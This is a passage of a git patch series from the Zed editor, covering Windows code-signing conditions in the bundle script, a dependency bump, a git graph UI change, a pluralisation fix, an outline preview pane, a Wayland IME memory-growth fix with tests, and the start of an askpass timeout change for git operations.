--- a/crates/zed/resources/windows/zed.iss
+++ b/crates/zed/resources/windows/zed.iss
@@ -31,7 +31,7 @@ WizardStyle=modern
 
 CloseApplications=force
 
-#if GetEnv("CI") != ""
+#if GetEnv("ZED_SIGN_BUNDLE") != ""
 SignTool=Defaultsign
 #endif
 
diff --git a/script/bundle-windows.ps1 b/script/bundle-windows.ps1
index 53527e1b8f9b66..99b2858f8e6244 100644
--- a/script/bundle-windows.ps1
+++ b/script/bundle-windows.ps1
@@ -13,6 +13,7 @@ $ErrorActionPreference = 'Stop'
 $PSNativeCommandUseErrorActionPreference = $true
 
 $buildSuccess = $false
+$canCodeSign = $false
 
 $OSArchitecture = switch ([System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture) {
     "X64" { "x86_64" }
@@ -66,19 +67,32 @@ function CheckEnvironmentVariables {
         return
     }
 
-    $requiredVars = @(
-        'ZED_WORKSPACE', 'RELEASE_VERSION', 'ZED_RELEASE_CHANNEL',
-        'AZURE_TENANT_ID', 'AZURE_CLIENT_ID', 'AZURE_CLIENT_SECRET',
-        'ACCOUNT_NAME', 'CERT_PROFILE_NAME', 'ENDPOINT',
-        'FILE_DIGEST', 'TIMESTAMP_DIGEST', 'TIMESTAMP_SERVER'
-    )
+    $requiredVars = @('ZED_WORKSPACE', 'RELEASE_VERSION', 'ZED_RELEASE_CHANNEL')
 
     foreach ($var in $requiredVars) {
-        if (-not (Test-Path "env:$var")) {
+        if ([string]::IsNullOrWhiteSpace([Environment]::GetEnvironmentVariable($var))) {
             Write-Error "$var is not set"
             exit 1
         }
     }
+
+    # On PRs from forks the signing secrets are not populated,
+    # so skip code signing instead of failing, like bundle-mac does.
+    $signingVars = @(
+        'AZURE_TENANT_ID', 'AZURE_CLIENT_ID', 'AZURE_CLIENT_SECRET',
+        'ACCOUNT_NAME', 'CERT_PROFILE_NAME', 'ENDPOINT',
+        'FILE_DIGEST', 'TIMESTAMP_DIGEST', 'TIMESTAMP_SERVER'
+    )
+
+    $missingVars = @($signingVars | Where-Object { [string]::IsNullOrWhiteSpace([Environment]::GetEnvironmentVariable($_)) })
+    if ($missingVars.Count -eq 0) {
+        $script:canCodeSign = $true
+    } else {
+        Write-Host "====== WARNING ======"
+        Write-Host "One or more of the following variables are missing: $($missingVars -join ', ')"
+        Write-Host "This bundle will not be code signed"
+        Write-Host "====== WARNING ======"
+    }
 }
 
 function PrepareForBundle {
@@ -128,7 +142,7 @@ function BuildRemoteServer {
     # Create zipped remote server binary
     $remoteServerSrc = (Resolve-Path ".\$CargoOutDir\remote_server.exe").Path
 
-    if ($env:CI) {
+    if ($canCodeSign) {
         Write-Output "Code signing remote_server.exe"
         & "$innoDir\sign.ps1" $remoteServerSrc
     }
@@ -159,7 +173,7 @@ function UploadToSentry {
         Write-Output "install with: 'winget install -e --id=Sentry.sentry-cli'"
         return
     }
-    if (-not (Test-Path "env:SENTRY_AUTH_TOKEN")) {
+    if ([string]::IsNullOrWhiteSpace($env:SENTRY_AUTH_TOKEN)) {
         Write-Output "missing SENTRY_AUTH_TOKEN. skipping sentry upload."
         return
     }
@@ -200,7 +214,7 @@ function MakeAppx {
 }
 
 function SignZedAndItsFriends {
-    if (-not $env:CI) {
+    if (-not $canCodeSign) {
         return
     }
 
@@ -340,7 +354,9 @@ function BuildInstaller {
     }
 
     $innoArgs = @($issFilePath) + $defs
-    if($env:CI) {
+    if($canCodeSign) {
+        # Checked by zed.iss to decide whether to sign the installer.
+        $env:ZED_SIGN_BUNDLE = "1"
         $signTool = "powershell.exe -ExecutionPolicy Bypass -File $innoDir\sign.ps1 `$f"
         $innoArgs += "/sDefaultsign=`"$signTool`""
     }

From 31ceaf7908ef6239dbf5fcf74e2d185a89152ebf Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Fri, 17 Jul 2026 12:45:16 +0300
Subject: [PATCH 518/772] Bump taffy (#61183)

Follow-up to https://github.com/zed-industries/zed/pull/60721

Release Notes:

- N/A
---
 Cargo.lock             | 4 ++--
 crates/gpui/Cargo.toml | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 2303a839d8f4f0..1094fced2cfc81 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -18274,9 +18274,9 @@ dependencies = [
 
 [[package]]
 name = "taffy"
-version = "0.12.1"
+version = "0.12.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "73afc801dd6bd47529eaa7c7e90557f107527d1b7c9c7ed7d7803c7b8d0c357f"
+checksum = "340a09581f29809fc0df82a3955501dc7f2a21f887e5d1c13dbe288fe1c0bef4"
 dependencies = [
  "arrayvec",
  "grid",
diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index 63e1814b505399..7adeeffa50d2ff 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -91,7 +91,7 @@ async-channel.workspace = true
 stacksafe.workspace = true
 strum.workspace = true
 sum_tree.workspace = true
-taffy = "=0.12.1"
+taffy = "=0.12.2"
 thiserror.workspace = true
 gpui_util.workspace = true
 hdrhistogram = { workspace = true, optional = true }

From fd013f7f560dbf1d2738ecc071c796dec4117984 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Fri, 17 Jul 2026 08:32:07 -0300
Subject: [PATCH 519/772] git_graph: Remove commit preview on row hover
 (#61191)

This PR removes the commit preview popover when hovering over rows in
the git graph. In my humble opinion, I've been finding that having the
hover preview damages the usability/readability of the graph. I can't
properly read each row's content and understand its place on the graph
if everywhere I rest my cursor in a popover appears... Moreover, almost
all of the information we display in the commit preview is already
displayed in the row itsself, and if you'd like to drill down into the
commit description and whatnot, clicking the row opens the commit drawer
and gives you that and even more information (e.g., set of changed
files, etc.).

Release Notes:

- N/A
---
 crates/git_ui/src/git_graph.rs | 57 +---------------------------------
 1 file changed, 1 insertion(+), 56 deletions(-)

diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index cd3c751bcfeea4..6e1ddd12de3c52 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -1,7 +1,7 @@
 pub use crate::commit_context_menu::{CopyCommitSha, CopyCommitTag, OpenCommitView};
 use crate::{
     commit_context_menu::{CommitContextMenuData, CommitContextMenuSource, commit_context_menu},
-    commit_tooltip::{CommitAvatar, CommitDetails, CommitTooltip},
+    commit_tooltip::CommitAvatar,
     commit_view::CommitView,
     git_status_icon,
 };
@@ -10,7 +10,6 @@ use editor::Editor;
 use file_icons::FileIcons;
 use git::{
     BuildCommitPermalinkParams, GitHostingProviderRegistry, GitRemote, Oid, ParsedGitRemote,
-    commit::ParsedCommitMessage,
     parse_git_remote_url,
     repository::{
         CommitDiff, CommitFile, InitialGraphCommitData, LogOrder, LogSource, RepoPath,
@@ -1694,10 +1693,6 @@ impl GitGraph {
         git_store.repositories().get(&self.repo_id).cloned()
     }
 
-    fn has_context_menu(&self) -> bool {
-        self.context_menu.is_some()
-    }
-
     /// Checks whether a ref name from git's `%D` decoration
     ///  format refers to the currently checked-out branch.
     fn is_head_ref(ref_name: &str, head_branch_name: &Option<SharedString>) -> bool {
@@ -1791,7 +1786,6 @@ impl GitGraph {
         });
 
         let row_height = Self::row_height(window, cx);
-        let has_context_menu = self.has_context_menu();
 
         // We fetch data outside the visible viewport to avoid loading entries when
         // users scroll through the git graph
@@ -1899,55 +1893,6 @@ impl GitGraph {
                     div()
                         .id(ElementId::NamedInteger("commit-subject".into(), idx as u64))
                         .overflow_hidden()
-                        .when(!has_context_menu, |this| {
-                            if let CommitDataState::Loaded(commit_data) = &data {
-                                let sha = commit.data.sha.to_string();
-                                let author_name = commit_data.author_name.clone();
-                                let author_email = commit_data.author_email.clone();
-                                let message = commit_data.message.clone();
-                                let commit_timestamp = commit_data.commit_timestamp;
-                                let tag_names = commit
-                                    .data
-                                    .tag_names()
-                                    .into_iter()
-                                    .map(SharedString::from)
-                                    .collect::<Vec<_>>();
-                                let workspace = self.workspace.clone();
-                                let repository = repository.clone();
-                                this.hoverable_tooltip(move |_window, cx| {
-                                    let remote_url = repository.read(cx).default_remote_url();
-                                    let provider_registry =
-                                        GitHostingProviderRegistry::default_global(cx);
-                                    let commit_details = CommitDetails {
-                                        sha: sha.clone().into(),
-                                        author_name: author_name.clone(),
-                                        author_email: author_email.clone(),
-                                        commit_time: OffsetDateTime::from_unix_timestamp(
-                                            commit_timestamp,
-                                        )
-                                        .unwrap_or_else(|_| OffsetDateTime::now_utc()),
-                                        message: Some(ParsedCommitMessage::parse(
-                                            sha.clone(),
-                                            message.to_string(),
-                                            remote_url.as_deref(),
-                                            Some(provider_registry),
-                                        )),
-                                        tag_names: tag_names.clone(),
-                                    };
-                                    cx.new(|cx| {
-                                        CommitTooltip::new(
-                                            commit_details,
-                                            repository.clone(),
-                                            workspace.clone(),
-                                            cx,
-                                        )
-                                    })
-                                    .into()
-                                })
-                            } else {
-                                this
-                            }
-                        })
                         .child(
                             h_flex()
                                 .gap_2()

From df9321ec8167e593092e1f0bf3847b463e5c868c Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Fri, 17 Jul 2026 04:36:37 -0700
Subject: [PATCH 520/772] agent_ui: Fix project rule pluralization in context
 usage popover (#61184)

The agent panel's context usage popover showed "1 project rules" when
exactly one project rule (e.g. `.rules`) was loaded, because the
project-rules button used an unconditional `format!("{} project rules",
...)`.

Reuse the existing `pluralize` helper (already used for diagnostics
labels in the same crate) so a single rule renders as "1 project rule"
and multiple rules render as "N project rules". The sibling "1 global
rule" label is intentionally left unchanged, since there is only ever
one global rule.

Closes #57759

Release Notes:

- Fixed the agent panel context usage popover showing "1 project rules"
instead of "1 project rule" when a single project rule is loaded.
---
 crates/agent_ui/src/completion_provider.rs           |  2 +-
 crates/agent_ui/src/conversation_view/thread_view.rs | 10 +++++++---
 2 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/crates/agent_ui/src/completion_provider.rs b/crates/agent_ui/src/completion_provider.rs
index ccc95c2fc4ede1..ff6f4ca13b11e9 100644
--- a/crates/agent_ui/src/completion_provider.rs
+++ b/crates/agent_ui/src/completion_provider.rs
@@ -2223,7 +2223,7 @@ fn diagnostics_crease_label(
     diagnostics_label(summary, include_errors, include_warnings).into()
 }
 
-fn pluralize(noun: &str, count: usize) -> String {
+pub(crate) fn pluralize(noun: &str, count: usize) -> String {
     if count == 1 {
         noun.to_string()
     } else {
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 0979b9e26bf06a..290bebd59159ea 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -22,7 +22,7 @@ use cloud_api_types::{SubmitAgentThreadFeedbackBody, SubmitAgentThreadFeedbackCo
 use editor::actions::OpenExcerpts;
 use sandbox::{SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 
-use crate::completion_provider::{AvailableSkill, PromptLocalCommand};
+use crate::completion_provider::{AvailableSkill, PromptLocalCommand, pluralize};
 use crate::message_editor::SharedSessionCapabilities;
 use crate::ui::{
     SandboxGroup, SandboxRow, SandboxSection, SandboxStatusTooltip, TerminalSandboxWarning,
@@ -5780,8 +5780,12 @@ impl Render for TokenUsageTooltip {
                                                 Button::new(
                                                     "open-project-rules",
                                                     format!(
-                                                        "{} project rules",
-                                                        project_rules_count
+                                                        "{} {}",
+                                                        project_rules_count,
+                                                        pluralize(
+                                                            "project rule",
+                                                            project_rules_count
+                                                        )
                                                     ),
                                                 )
                                                 .end_icon(

From 1d2a4b3f7f194184dccadfa7a091d16a06482752 Mon Sep 17 00:00:00 2001
From: d0 <35865489+neiii@users.noreply.github.com>
Date: Fri, 17 Jul 2026 12:41:08 +0100
Subject: [PATCH 521/772] outline: Add preview pane to buffer symbols (#61069)

# Objective

- Implement preview pane for buffer symbols, similar to #59863

## Showcase
### Before
<img width="4512" height="2980" alt="CleanShot 2026-07-15 at 23 25
19@2x"
src="https://github.com/user-attachments/assets/443f150a-bb67-4bac-ba4a-f8f299554470"
/>

### After
<img width="4512" height="2980" alt="CleanShot 2026-07-15 at 23 19
09@2x"
src="https://github.com/user-attachments/assets/0fd4be89-d25e-4052-8de0-3a9a5a5908f9"
/>


---

Release Notes:

- Added a preview pane to the buffer symbols picker
---
 Cargo.lock                    |  1 +
 crates/outline/Cargo.toml     |  1 +
 crates/outline/src/outline.rs | 37 ++++++++++++++++++++++++++++++++---
 3 files changed, 36 insertions(+), 3 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 1094fced2cfc81..3775ab6b3a3ca9 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -12560,6 +12560,7 @@ dependencies = [
  "lsp",
  "menu",
  "picker",
+ "picker_preview",
  "project",
  "rope",
  "serde_json",
diff --git a/crates/outline/Cargo.toml b/crates/outline/Cargo.toml
index 8b49b5a2870ec5..ba661b36f98adb 100644
--- a/crates/outline/Cargo.toml
+++ b/crates/outline/Cargo.toml
@@ -18,6 +18,7 @@ fuzzy_nucleo.workspace = true
 gpui.workspace = true
 language.workspace = true
 picker.workspace = true
+picker_preview.workspace = true
 settings.workspace = true
 theme.workspace = true
 theme_settings.workspace = true
diff --git a/crates/outline/src/outline.rs b/crates/outline/src/outline.rs
index ffd11e3197c3aa..0f22226f89aa6d 100644
--- a/crates/outline/src/outline.rs
+++ b/crates/outline/src/outline.rs
@@ -10,8 +10,8 @@ use gpui::{
     ParentElement, Point, Rems, Render, Styled, StyledText, Task, TextStyle, WeakEntity, Window,
     div, rems,
 };
-use language::{Outline, OutlineItem, OutlineSearchEntry};
-use picker::{Picker, PickerDelegate};
+use language::{OffsetRangeExt, Outline, OutlineItem, OutlineSearchEntry};
+use picker::{MatchLocation, Picker, PickerDelegate, PreviewUpdate};
 use settings::Settings;
 use theme::ActiveTheme;
 use theme_settings::ThemeSettings;
@@ -176,9 +176,16 @@ impl OutlineView {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> OutlineView {
+        let project = editor.read(cx).project().cloned();
         let delegate = OutlineViewDelegate::new(cx.entity().downgrade(), outline, editor, cx);
         let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
+            let picker = if let Some(project) = project {
+                let preview = picker_preview::editor_preview(project, window, cx);
+                Picker::uniform_list_with_preview(delegate, preview, window, cx)
+            } else {
+                Picker::uniform_list(delegate, window, cx)
+            };
+            picker
                 .max_height(Rems::from_pixels(
                     window.viewport_size().height * 0.75,
                     window,
@@ -293,6 +300,30 @@ impl PickerDelegate for OutlineViewDelegate {
         self.set_selected_index(ix, true, cx);
     }
 
+    fn try_get_preview_data_for_match(&self, cx: &App) -> Option<PreviewUpdate> {
+        let selected_match = self.matches.get(self.selected_match_index)?;
+        let outline_item = self.outline.items.get(selected_match.candidate_id())?;
+        let multi_buffer = self.active_editor.read(cx).buffer().clone();
+        let (buffer, start) = multi_buffer
+            .read(cx)
+            .text_anchor_for_position(outline_item.selection_range.start, cx)?;
+        let (end_buffer, end) = multi_buffer
+            .read(cx)
+            .text_anchor_for_position(outline_item.selection_range.end, cx)?;
+        if buffer != end_buffer {
+            return None;
+        }
+
+        let range = (start..end).to_offset(&buffer.read(cx).text_snapshot());
+        Some(PreviewUpdate::from_buffer(
+            buffer,
+            MatchLocation {
+                anchor_range: start..end,
+                range,
+            },
+        ))
+    }
+
     fn update_matches(
         &mut self,
         query: String,

From 5079b33d657593ffd8a2d2978534988a8b40867e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=80=E1=B4=8D=E1=B4=9B=E1=B4=8F=E1=B4=80=E1=B4=87?=
 =?UTF-8?q?=CA=80?= <amtoaer@gmail.com>
Date: Fri, 17 Jul 2026 21:10:42 +0800
Subject: [PATCH 522/772] gpui_linux: Fix unbounded memory growth when
 composing text with Fcitx5 under KWin/Wayland (#61079)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Close #61034.

Fix unbounded memory growth when composing text with Fcitx5 under
KWin/Wayland.

While a non-empty preedit is cached, KWin resends it whenever it
receives a text-input-v3 `commit()` ([relevant KWin
code](https://github.com/KDE/kwin/blob/0e473e87a64d5d404c2fecf5516a9a5c3cf17d91/src/wayland/textinput_v3.cpp#L444-L504)).

Zed handles the replayed preedit as a buffer edit. This invalidates the
IME character coordinates, causing Zed to submit the same cursor
rectangle and call `commit()` on the next frame. That commit makes KWin
replay the cached preedit again, forming an infinite feedback loop.

The observed memory growth is caused by retained CRDT state accumulating
indefinitely.

## Solution

Following [SDL's solution to the same
problem](https://github.com/libsdl-org/SDL/commit/81479d8784d0e1a61eafb3a444dd3865ad762fb2),
cache the last submitted cursor rectangle and compare it with the new
rectangle before calling `set_cursor_rectangle()`.

If the rectangles are equal, skip both the rectangle update and its
associated `commit()`. The initial cursor rectangle and actual rectangle
changes during an active composition are still submitted, preserving the
candidate-window positioning behavior introduced by #59911.

## Testing

Manually tested on KDE Plasma with `fcitx5-chinese-addons`.

Before the fix, memory usage grew continuously while preedit text was
present, with `WAYLAND_DEBUG=client` showing text-input events repeating
indefinitely.

After the fix, the repeated events stopped and memory usage remained
stable.

No automated test was added because reproducing the feedback loop
requires compositor-specific KWin text-input-v3 behavior.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


---

Release Notes:

- Fixed excessive memory usage when composing text with Fcitx5 on KDE
Wayland.

---------

Co-authored-by: Tom Houlé <tom@tomhoule.com>
---
 crates/gpui_linux/src/linux/wayland/client.rs | 209 +++++++++++++++---
 1 file changed, 184 insertions(+), 25 deletions(-)

diff --git a/crates/gpui_linux/src/linux/wayland/client.rs b/crates/gpui_linux/src/linux/wayland/client.rs
index a4cc9fde9f1d5e..fdc40a3de87e66 100644
--- a/crates/gpui_linux/src/linux/wayland/client.rs
+++ b/crates/gpui_linux/src/linux/wayland/client.rs
@@ -112,6 +112,80 @@ const MIN_KEYCODE: u32 = 8;
 const UNKNOWN_KEYBOARD_LAYOUT_NAME: SharedString = SharedString::new_static("unknown");
 const XDG_ACTIVATION_TOKEN_ENV_VAR: &str = "XDG_ACTIVATION_TOKEN";
 
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+struct ImeCursorRectangle {
+    x: i32,
+    y: i32,
+    width: i32,
+    height: i32,
+}
+
+impl From<Bounds<Pixels>> for ImeCursorRectangle {
+    fn from(bounds: Bounds<Pixels>) -> Self {
+        Self {
+            x: bounds.origin.x.as_f32() as i32,
+            y: bounds.origin.y.as_f32() as i32,
+            width: bounds.size.width.as_f32() as i32,
+            height: bounds.size.height.as_f32() as i32,
+        }
+    }
+}
+
+trait ImeCursorRectangleSink {
+    fn set_ime_cursor_rectangle(&self, x: i32, y: i32, width: i32, height: i32);
+    fn commit_ime_state(&self);
+}
+
+impl ImeCursorRectangleSink for zwp_text_input_v3::ZwpTextInputV3 {
+    fn set_ime_cursor_rectangle(&self, x: i32, y: i32, width: i32, height: i32) {
+        self.set_cursor_rectangle(x, y, width, height);
+    }
+
+    fn commit_ime_state(&self) {
+        self.commit();
+    }
+}
+
+fn set_ime_cursor_rectangle(
+    text_input: &impl ImeCursorRectangleSink,
+    cursor_rectangle: ImeCursorRectangle,
+) {
+    text_input.set_ime_cursor_rectangle(
+        cursor_rectangle.x,
+        cursor_rectangle.y,
+        cursor_rectangle.width,
+        cursor_rectangle.height,
+    );
+}
+
+fn update_ime_cursor_rectangle(
+    text_input: &impl ImeCursorRectangleSink,
+    last_ime_cursor_rectangle: &mut Option<ImeCursorRectangle>,
+    bounds: Bounds<Pixels>,
+) {
+    let cursor_rectangle = ImeCursorRectangle::from(bounds);
+    if *last_ime_cursor_rectangle == Some(cursor_rectangle) {
+        return;
+    }
+
+    *last_ime_cursor_rectangle = Some(cursor_rectangle);
+    set_ime_cursor_rectangle(text_input, cursor_rectangle);
+    text_input.commit_ime_state();
+}
+
+fn set_ime_cursor_rectangle_after_done(
+    text_input: &impl ImeCursorRectangleSink,
+    last_ime_cursor_rectangle: &mut Option<ImeCursorRectangle>,
+    bounds: Bounds<Pixels>,
+    should_commit: bool,
+) {
+    if should_commit {
+        update_ime_cursor_rectangle(text_input, last_ime_cursor_rectangle, bounds);
+    } else {
+        set_ime_cursor_rectangle(text_input, ImeCursorRectangle::from(bounds));
+    }
+}
+
 fn take_startup_activation_token_from_environment() -> Option<String> {
     let startup_activation_token = std::env::var(XDG_ACTIVATION_TOKEN_ENV_VAR)
         .ok()
@@ -244,6 +318,7 @@ pub(crate) struct WaylandClientState {
     pre_edit_text: Option<String>,
     ime_pre_edit: Option<String>,
     composing: bool,
+    last_ime_cursor_rectangle: Option<ImeCursorRectangle>,
     // Surface to Window mapping
     windows: HashMap<ObjectId, WaylandWindowStatePtr>,
     // Output to scale mapping
@@ -349,25 +424,25 @@ impl WaylandClientStatePtr {
         let client = self.get_client();
         let mut state = client.borrow_mut();
         state.ime_enabled = Some(true);
+        state.last_ime_cursor_rectangle = None;
         let Some(text_input) = state.text_input.take() else {
             return;
         };
 
         text_input.enable();
         text_input.set_content_type(ContentHint::None, ContentPurpose::Normal);
+        let mut cursor_rectangle = None;
         if let Some(window) = state.keyboard_focused_window.clone() {
             drop(state);
             if let Some(area) = window.get_ime_area() {
-                text_input.set_cursor_rectangle(
-                    f32::from(area.origin.x) as i32,
-                    f32::from(area.origin.y) as i32,
-                    f32::from(area.size.width) as i32,
-                    f32::from(area.size.height) as i32,
-                );
+                let area = ImeCursorRectangle::from(area);
+                set_ime_cursor_rectangle(&text_input, area);
+                cursor_rectangle = Some(area);
             }
             state = client.borrow_mut();
         }
         text_input.commit();
+        state.last_ime_cursor_rectangle = cursor_rectangle;
         state.text_input = Some(text_input);
     }
 
@@ -389,19 +464,14 @@ impl WaylandClientStatePtr {
 
     pub fn update_ime_position(&self, bounds: Bounds<Pixels>) {
         let client = self.get_client();
-        let state = client.borrow_mut();
-        if state.text_input.is_none() || state.pre_edit_text.is_some() {
+        let mut state = client.borrow_mut();
+        if state.pre_edit_text.is_some() {
             return;
         }
-
-        let text_input = state.text_input.as_ref().unwrap();
-        text_input.set_cursor_rectangle(
-            bounds.origin.x.as_f32() as i32,
-            bounds.origin.y.as_f32() as i32,
-            bounds.size.width.as_f32() as i32,
-            bounds.size.height.as_f32() as i32,
-        );
-        text_input.commit();
+        let Some(text_input) = state.text_input.clone() else {
+            return;
+        };
+        update_ime_cursor_rectangle(&text_input, &mut state.last_ime_cursor_rectangle, bounds);
     }
 
     pub fn handle_keyboard_layout_change(&self) {
@@ -718,6 +788,7 @@ impl WaylandClient {
             pre_edit_text: None,
             ime_pre_edit: None,
             composing: false,
+            last_ime_cursor_rectangle: None,
             outputs: HashMap::default(),
             in_progress_outputs,
             wl_outputs,
@@ -1823,15 +1894,13 @@ impl Dispatch<zwp_text_input_v3::ZwpTextInputV3, ()> for WaylandClientStatePtr {
                     drop(state);
                     window.handle_ime(ImeInput::SetMarkedText(text));
                     if let Some(area) = window.get_ime_area() {
-                        text_input.set_cursor_rectangle(
-                            f32::from(area.origin.x) as i32,
-                            f32::from(area.origin.y) as i32,
-                            f32::from(area.size.width) as i32,
-                            f32::from(area.size.height) as i32,
+                        let mut state = client.borrow_mut();
+                        set_ime_cursor_rectangle_after_done(
+                            text_input,
+                            &mut state.last_ime_cursor_rectangle,
+                            area,
+                            last_serial == serial,
                         );
-                        if last_serial == serial {
-                            text_input.commit();
-                        }
                     }
                 } else {
                     state.composing = false;
@@ -2664,3 +2733,93 @@ impl Dispatch<XdgDialogV1, ()> for WaylandClientStatePtr {
     ) {
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use std::cell::Cell;
+
+    use super::*;
+
+    #[derive(Default)]
+    struct FakeImeCursorRectangleSink {
+        cursor_rectangles: RefCell<Vec<(i32, i32, i32, i32)>>,
+        commit_count: Cell<usize>,
+    }
+
+    impl ImeCursorRectangleSink for FakeImeCursorRectangleSink {
+        fn set_ime_cursor_rectangle(&self, x: i32, y: i32, width: i32, height: i32) {
+            self.cursor_rectangles
+                .borrow_mut()
+                .push((x, y, width, height));
+        }
+
+        fn commit_ime_state(&self) {
+            self.commit_count.set(self.commit_count.get() + 1);
+        }
+    }
+
+    fn ime_cursor_bounds(x: f32) -> Bounds<Pixels> {
+        Bounds::new(point(px(x), px(20.25)), size(px(1.0), px(18.75)))
+    }
+
+    #[test]
+    fn caches_cursor_rectangle_committed_after_done() {
+        let text_input = FakeImeCursorRectangleSink::default();
+        let mut last_ime_cursor_rectangle = None;
+        let initial_bounds = ime_cursor_bounds(10.0);
+        let updated_bounds = ime_cursor_bounds(20.0);
+
+        update_ime_cursor_rectangle(&text_input, &mut last_ime_cursor_rectangle, initial_bounds);
+        set_ime_cursor_rectangle_after_done(
+            &text_input,
+            &mut last_ime_cursor_rectangle,
+            updated_bounds,
+            true,
+        );
+        update_ime_cursor_rectangle(&text_input, &mut last_ime_cursor_rectangle, updated_bounds);
+
+        assert_eq!(text_input.commit_count.get(), 2);
+        assert_eq!(text_input.cursor_rectangles.borrow().len(), 2);
+    }
+
+    #[test]
+    fn skips_unchanged_cursor_rectangle_after_done() {
+        let text_input = FakeImeCursorRectangleSink::default();
+        let mut last_ime_cursor_rectangle = None;
+        let bounds = ime_cursor_bounds(10.0);
+
+        update_ime_cursor_rectangle(&text_input, &mut last_ime_cursor_rectangle, bounds);
+        set_ime_cursor_rectangle_after_done(
+            &text_input,
+            &mut last_ime_cursor_rectangle,
+            bounds,
+            true,
+        );
+
+        assert_eq!(text_input.commit_count.get(), 1);
+        assert_eq!(text_input.cursor_rectangles.borrow().len(), 1);
+    }
+
+    #[test]
+    fn skips_cursor_rectangles_with_unchanged_protocol_coordinates() {
+        let text_input = FakeImeCursorRectangleSink::default();
+        let mut last_ime_cursor_rectangle = None;
+
+        update_ime_cursor_rectangle(
+            &text_input,
+            &mut last_ime_cursor_rectangle,
+            ime_cursor_bounds(10.25),
+        );
+        update_ime_cursor_rectangle(
+            &text_input,
+            &mut last_ime_cursor_rectangle,
+            ime_cursor_bounds(10.75),
+        );
+
+        assert_eq!(text_input.commit_count.get(), 1);
+        assert_eq!(
+            text_input.cursor_rectangles.borrow().as_slice(),
+            &[(10, 20, 1, 18)]
+        );
+    }
+}

From 2a983bca8616c6d8ad111667a5ed6064cc3cbb61 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Fri, 17 Jul 2026 19:08:09 +0530
Subject: [PATCH 523/772] git: Fix operations timing out and commit-msg hook
 being skipped (#61185)

Closes #44926
Closes #43157
Closes #29903

We have an askpass 17s timeout that races against Git operations and
results in "Connecting to host timed out". It came along in #25953 when
we extracted askpass out of remoting, where it was used for SSH.

I think, for SSH connection, no prompt and no connection after 17
seconds means the host is unreachable, so the timeout is a reliable
signal there. But for Git, silence is pretty normal. Cases like hook
running, pack transferring, an ssh-agent waiting on a fingerprint are
all senarios where we should not be dependent on timeout which kills
these healthy operations.

#43285 worked around this for commits by running the pre-commit hook
manually and passing `--no-verify` to `git commit`. But, there are more
problems to address, which I reproduced on my machine:

1. A slow `post-commit` hook fails, since `--no-verify` doesn't skip it.
2. A slow `pre-push` hook fails too, and a workaround like #43285 needs
a lot more handling. See
https://github.com/zed-industries/zed/pull/42946#issuecomment-3550570438.
3. This is the tough one: due to `--no-verify`, we are also skipping the
`commit-msg` hook. There is no direct way to call that hook since, Git
hands this hook its in-progress message file, commits whatever the hook
leaves in it, and aborts if the hook exits non-zero. Reproducing that
outside `git commit` means reimplementing that.
4. An ssh-agent waiting for user approval fails after the timeout, like
if you have 1Password set up.
5. It doesn't solve large fetches. Fetching
`git@github.com:torvalds/linux.git` just dies at the 17s timeout
mid-download.

This PR fix keep the timeout only on the SSH transport and drop it for
Git, which is less of a behavior change and more of a restoring its
original scope. If Git in a terminal doesn't time out, we shouldn't
either. This way, we let Git handle all types of hooks, which solves the
hooks issue along with the timeout issue. _This follows how VS Code does
it. It does not have any kind of timeout on git child process, and hooks
are handled by Git itself._

Edit: I also think working towards way to cancel long going operations
is better way forward. See
https://github.com/microsoft/vscode/issues/171353.

Hooks still don't run for untrusted repositories, the existing
`core.hooksPath=/dev/null` clamp covers that. The `RunGitHook` proto
handler is kept for compatibility with older remote clients.




Release Notes:

- Fixed git operations failing with a misleading "Connecting to host
timed out" error when they took longer than 17 seconds (large fetches,
slow hooks, or waiting on agent-based authentication like 1Password
Touch ID).
- Fixed `commit-msg` hooks being silently skipped on commit.
---
 crates/askpass/src/askpass.rs      | 18 ++++--
 crates/git/src/repository.rs       | 91 +++++++++++++++++++++++++++++-
 crates/project/src/git_store.rs    | 11 ++--
 crates/proto/proto/git.proto       |  6 ++
 crates/remote/src/transport/ssh.rs |  9 ++-
 5 files changed, 121 insertions(+), 14 deletions(-)

diff --git a/crates/askpass/src/askpass.rs b/crates/askpass/src/askpass.rs
index dc5488ac117472..af5d0d31adfd9d 100644
--- a/crates/askpass/src/askpass.rs
+++ b/crates/askpass/src/askpass.rs
@@ -156,15 +156,25 @@ impl AskPassSession {
     // The caller is responsible for examining the result of their own commands and cancelling this
